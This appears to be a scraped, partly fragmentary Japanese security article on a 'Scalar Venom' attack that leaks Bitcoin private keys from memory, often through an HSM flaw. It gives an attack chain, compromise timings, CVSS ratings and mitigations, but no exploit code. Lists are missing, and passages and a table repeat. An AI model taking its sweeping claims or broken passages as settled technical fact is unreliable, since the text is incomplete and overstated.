[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
FIPS 140-2(およびFIPS 140-3でさえ)認証では以下は必須ではありません:
これは、開発者が追加のセキュリティ対策を実装しない限り、「FIPS認証済み」のHSMでさえScalar Venomに対して脆弱であることを意味します。[24]
Scalar Venom攻撃は、特にCVE-2025-60013などのHSM初期化脆弱性と組み合わさると、Bitcoinインフラストラクチャに重大な脅威をもたらします。この攻撃は以下の特徴があります:
ハードウェアメモリ保護(Intel SGX、ARM TrustZone)、すべての一時バッファの明示的な粒度、および暗号ライブラリでのRAIIパターンを備えたアーキテクチャへの移行は、Bitcoinシステムのセキュリティを確保するために重要です。
Scalar Venom攻撃は、特にHSM初期化脆弱性CVE-2025-60013と組み合わさると、グローバルなBitcoinエコシステムにとって重大な脆弱性となります。この多層的な攻撃チェーンは、暗号信頼モデルを根本的に弱体化させ、以下の存続リスクを露呈します。
メモリリークを通じて秘密鍵の完全な侵害を可能にし、高度なハードウェアセキュリティモジュールさえも回避し、影響を受けるシステムを完全に無防備にします。
侵害は永続的で不可逆的です:秘密鍵が抽出されると回復できず、依存するすべての資金が差し迫った損失のリスクにさらされます。
攻撃はスケーラブルで自動化可能であり、同時に膨大な数のBitcoinノードとウォレットを攻撃でき、潜在的な損失が指数関数的に増加します。
そのステルス性により、システムログやパフォーマンスメトリクスに目に見える痕跡が残らず、従来の検出および保護メカニズムでは不十分です。
この壊滅的な脅威を緩和するには、メモリ安全アーキテクチャへの緊急の移行が必要です。これには、ハードウェアベースのメモリ保護(Intel SGXやARM TrustZoneなど)、すべての暗号操作中のすべての一時バッファの厳格なゼロ化、および重要なソフトウェアライブラリでのRAIIパターンの堅牢な実装が含まれます。このような堅牢なアーキテクチャ改革を通じてのみ、Bitcoinインフラストラクチャの長期的な完全性とセキュリティを現実的に確保できます。
| プロセス | 時間 | 機器 |
|---|
| メモリダンプの取得 | 5~30秒 | 方法による |
| 16GBダンプのスキャン | 2~5分 | MacBook Air (M1) |
| 1000個の候補鍵の検証 | 30秒 | MacBook Air (M1) |
| アドレス生成 | 10秒 | MacBook Air (M1) |
| 資金の転送(ブロードキャスト) | < 1秒 | インターネット |
| 完全侵害の合計 | < 10分 | MacBook Air (M1) |
| 側面 | 評価 | 注釈 |
|---|
| CVE-2025-60013 (HSM init) | CVSS 5.7 (Medium) | 公式には低いが、エントリポイントとして機能 |
| Scalar Venom Attack | CVSS 8.5+ (High/Critical) | 実質的に重大な影響 |
| 複合攻撃 | CVSS 9.5+ (Critical) | 秘密鍵の完全な侵害 |
| 侵害からの回復 | 不可能 | 不可逆的な資金喪失 |
| プロセス | 時間 | 機器 |
|---|
| メモリダンプの取得 | 5-30 sec | 方法に依存 |
| 16GBダンプのスキャン | 2-5 min | MacBook Air (M1) |
| 1000個の候補鍵の検証 | 30 sec | MacBook Air (M1) |
| アドレス生成 | 10 sec | MacBook Air (M1) |
| 資金転送(ブロードキャスト) | < 1 sec | Internet |
| 完全な侵害の合計 | < 10 minutes | MacBook Air (M1) |